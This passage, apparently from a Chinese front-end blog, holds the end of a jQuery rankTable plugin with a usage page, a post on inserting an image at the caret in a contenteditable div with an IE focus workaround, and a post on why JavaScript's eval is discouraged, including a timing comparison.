    	} else {
      		$.error( 'Method ' +  method + ' does not exist' );
    	}
	};
})(jQuery);
//调用方式
<html xmlns="http://www.w3.org/1999/xhtml">  
<head>
    <meta http-equiv="content-type" content="text/html;charset=utf-8">
    <title>rankTable</title>
    <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.5.1/jquery.min.js" type="text/javascript"></script> 
    <script src="jquery.ranktable.js" type="text/javascript"></script>
    <link href="style.css" rel="stylesheet" type="text/css" />
    <script type="text/javascript">
        $(function () {
            $("#rank_table").rankTable({
                "thead" : ["姓名", "年龄", "成绩"],
                "data" : [["张三", 16, 98], ["李四", 15, 88], ["王五", 18, 100], ["孙六", 17, 60]],
                "sortBy": 2,
                "order" : "desc",
                "colWidth" : ["33%","33%"]
            });

        });  
    </script>  
</head>  
<body> 
    <div id="rank_table">  
    </div>
</body>  
</html> 

今天贝贝同学问了我一个问题,怎样在可编辑的div中的光标处插入图片。网上search了一把,果然如贝贝所说,一堆都是往光标处插入文本的。
最后发现使用document.execCommand()方法即可简单的往光标处插入图片。在chrome和firefox下只需要执行document.execCommand(‘InsertImage’, false, _imgUrl);就能达到目的,可是在IE下就有bug:当光标停留在某个地方,不选中任何东西的情况下,该方法无效。当选中编辑区内的一部分内容时,该方法有效。经过一番摸索,终于找到解决方案。原来在不选中任何东西的情况下,当我去点击插入按钮时,编辑区就失去了焦点,这个时候插入会失败。所以需要先保存焦点状态,插入之前恢复状态即可。具体内容看代码

<html>
<head>
    <meta content="text/html; charset=utf-8" http-equiv="Content-Type">
    <title>edit</title>
</head>
<body>
    <div id="editor" 
        style="width:400px;margin:100px auto;height:300px;border:1px solid #DFDFDF;" 
        contenteditable="true">
        这里插入一个图片!
    </div>
    <a href="javascript:void(0);" onclick="edit()">强力插入!</a>
    <script>
    var editor = document.getElementById("editor");
    var range, bookmark;
    var saveFocus = function(){//保存焦点状态
        if (document.selection) { //只有坑爹的IE才执行下面的代码
            range = document.selection.createRange();
            bookmark=range.getBookmark();
        }
    }
    editor.onclick = saveFocus;//在鼠标点击编辑区时保存焦点
    editor.onkeydown = saveFocus;//在输入内容时也保存焦点
    function edit() {
        insertImg("http://www.baidu.com/img/baidu_sylogo1.gif");
    }
    function insertImg(_img) {
        if (range) { //同样,坑爹IE专用代码
            range.moveToBookmark(bookmark);
            range.select();
        }
        document.execCommand('InsertImage', false, _img);

    }
    </script>
</body>
</html>

将代码中方法document.execCommand(‘InsertImage’, false, _img)更改参数,应该可以插入html代码等其他元素。

工作中有个功能想用js的eval来实现,上网搜了一把,一堆说eval不好的,总结一下,记在这里。

Eval函数是js中用来执行一段字符串的,当然前提是这段字符串的内容的是js代码。但是为什么是evil的呢,原因如下:

1、使用eval的代码不好调试。一般使用eval的地方,代码都是动态生成的,虽然动态生成具有很大的灵活性,但是一旦出错,很难找出bug在哪里,毕竟你要调试的代码没有写在静态文件里。
2、使用eval的代码不好维护。想一下,一个程序员写的代码,几个月之后回去再看,可能需要看一阵子才能明白写的是什么,如果你用eval,那么就意味着你写了一段生成代码的代码,维护起来代价就更高了。
3、性能差。eval在执行的时候意味着浏览器又要开一个解释器(实际也许不是这样,但是总需要做点什么才能让这段文本执行起来),开解释器的这个过程代价是很高的,导致性能会急剧下降。例如下面的两段代码,片段1中使用了eval,在我的chrome上执行,平均耗时在2300ms左右,片段2没有使用eval,平均耗时只有150ms左右。可见,性能差距巨大。

//片段1
var count = 1;
var t1 = new Date();
for (var i = 0; i < 10000000; i++){
	eval("count = count + 1;");
}
var t2 = new Date();
alert(t2 - t1);

//片段2
var count = 1;
var t1 = new Date();
for (var i = 0; i < 10000000; i++){
	count = count + 1;
}
var t2 = new Date();
alert(t2 - t1);

4、可能会有注入危险。设想这么一个情况,你从用户那里接收一段js代码字符串,然后在服务端使用类似于Node之类的技术来使用eval执行用户输入的代码,那么用户就完全可以写一段代码来获得你的机器控制权。

5、影响优化。现代的js解释器一般都会对js代码进行优化,但是当你的代码里有eval的时候,就意味着在执行之前这段代码是不固定的,解释器就不知道该怎么优化,所以当解释器碰到eval的时候基本就放弃优化了。

但是一直没弄明白的是,既然这玩意这么eval,那么为什么当时把他设计出来了呢?